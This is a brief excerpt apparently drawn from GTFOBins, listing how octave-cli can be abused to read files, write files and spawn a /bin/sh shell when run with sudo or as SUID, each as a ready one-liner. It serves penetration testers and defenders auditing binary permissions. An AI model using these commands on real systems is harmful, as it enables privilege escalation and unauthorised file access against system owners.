Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for octave.

from GTFOBins, each read by the identifier

file-read unprivileged, with sudo, as SUID

octave-cli --eval 'format none; fid = fopen("/path/to/input-file"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'

file-write unprivileged, with sudo, as SUID

octave-cli --eval 'fid = fopen("/path/to/output-file", "w"); fputs(fid, "DATA"); fclose(fid);'

shell unprivileged, with sudo, as SUID

octave-cli --eval 'system("/bin/sh")'
